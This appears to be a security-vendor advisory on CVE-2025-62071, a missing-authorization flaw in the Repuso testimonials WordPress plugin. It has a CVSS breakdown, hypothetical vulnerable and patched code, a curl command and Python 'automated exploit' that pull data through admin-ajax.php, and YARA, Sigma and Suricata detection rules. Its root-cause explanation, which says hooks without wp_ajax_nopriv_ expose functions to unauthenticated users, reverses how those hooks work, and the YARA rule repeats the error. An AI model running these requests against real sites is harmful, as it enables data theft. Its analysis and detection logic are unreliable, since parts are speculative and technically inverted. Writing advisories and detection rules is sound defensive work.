CVE-2025-62071

Executive Summary

CVE-2025-62071 is a Missing Authorization vulnerability in the Repuso Social Proof Testimonials and Reviews WordPress plugin (versions <= 5.29). This flaw allows unauthenticated attackers to access or modify sensitive data due to improper access controls on certain plugin functions. The vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx. With a CVSS score of 4.3 (Medium), it poses a moderate risk, primarily affecting data confidentiality. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify plugin integrity by checking checksums and monitoring for updates. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: None
• Availability Impact: None

The vulnerability allows unauthenticated network access to potentially read sensitive data (e.g., testimonials, reviews) without requiring any user interaction. The low confidentiality impact suggests limited data exposure, but the lack of authentication makes it exploitable at scale.

Deep Dive & Mechanics

The vulnerability resides in the Repuso Social Proof Testimonials and Reviews plugin, which provides widgets for displaying social proof on WordPress sites. The plugin fails to properly enforce authorization checks on certain AJAX actions or REST API endpoints, allowing unauthenticated users to access or modify data that should be restricted to administrators.

Root Cause: The plugin uses wp_ajax_* hooks without corresponding wp_ajax_nopriv_* checks, or implements insufficient capability checks (e.g., current_user_can() missing or using incorrect capabilities). This enables attackers to call privileged functions without authentication.

Attack Vector: An attacker can send crafted HTTP requests to the vulnerable endpoint, bypassing access controls. For example, a request to /wp-admin/admin-ajax.php?action=repuso_get_testimonials might return all testimonials without requiring a valid nonce or user role.

Impact: Unauthorized disclosure of testimonials and reviews, which may contain personal data or business-sensitive information. In some configurations, modification of data might also be possible, though the CVSS indicates only confidentiality impact.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common missing authorization patterns.

Vulnerable Code (hypothetical):

add_action('wp_ajax_repuso_get_testimonials', 'repuso_get_testimonials');
function repuso_get_testimonials() {
    // No capability check
    $testimonials = get_option('repuso_testimonials');
    wp_send_json($testimonials);
}

Patched Code (hypothetical):

add_action('wp_ajax_repuso_get_testimonials', 'repuso_get_testimonials');
add_action('wp_ajax_nopriv_repuso_get_testimonials', 'repuso_get_testimonials_public');
function repuso_get_testimonials() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $testimonials = get_option('repuso_testimonials');
    wp_send_json($testimonials);
}
function repuso_get_testimonials_public() {
    // Only return public data
    $testimonials = get_option('repuso_testimonials_public');
    wp_send_json($testimonials);
}

The patched version adds a capability check (manage_options) for admin actions and separates public endpoints.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target WordPress site with Repuso plugin <= 5.29
• Network access to the site

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., via source code review or fuzzing).
2. Send a crafted HTTP request:

curl -X POST 'http://target/wp-admin/admin-ajax.php' \
  -d 'action=repuso_get_testimonials'

3. If successful, the response contains sensitive data in JSON format.

Automated Exploit (Python):

import requests

target = "http://target/wp-admin/admin-ajax.php"
data = {"action": "repuso_get_testimonials"}
response = requests.post(target, data=data)
if response.status_code == 200:
    print("Data exfiltrated:", response.text)
else:
    print("Exploit failed")

Blue Team (Defender)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with unknown actions.
• Look for requests without a valid _ajax_nonce parameter.
• Alert on high volume of requests to plugin-specific endpoints from single IPs.

Honeypot:

• Deploy a fake endpoint that logs attacker IPs and user agents.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /wp-admin/admin-ajax.php with action=repuso_* parameters.
  • Unusual User-Agent strings (e.g., curl/7.x, python-requests/2.x).
• File:
  • Modified plugin files in /wp-content/plugins/social-testimonials-and-reviews-widget/.
• Log:
  • WordPress debug log entries showing failed capability checks.

Detection Engineering

YARA Rule

rule Detect_Repuso_Missing_Auth {
    meta:
        description = "Detects missing authorization in Repuso plugin"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-62071"
    strings:
        $ajax_hook = "wp_ajax_repuso_" nocase
        $nopriv_hook = "wp_ajax_nopriv_repuso_" nocase
    condition:
        $ajax_hook and not $nopriv_hook
}

Sigma Rule

title: Repuso Missing Authorization Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-62071
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=repuso_*'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-62071 Repuso Missing Authorization Attempt";
    flow:to_server;
    http.method; content:"POST";
    http.uri; content:"/wp-admin/admin-ajax.php";
    http.client_body; content:"action=repuso_";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=repuso_* from unauthenticated users.
3. Restrict access to /wp-admin/ directory via .htaccess or IP whitelisting.

Long-term Fix:

• Monitor the plugin vendor for updates and apply patches immediately.
• Conduct a code review of the plugin to identify and fix missing authorization checks.
• Use WordPress security plugins (e.g., Wordfence) to add virtual patching.

Workaround:

• Add the following to .htaccess to block direct access:

<FilesMatch "admin-ajax\.php">
    Require all denied
</FilesMatch>

(Note: This may break legitimate admin functionality; use with caution.)

Valters IT
Securing Digital Frontiers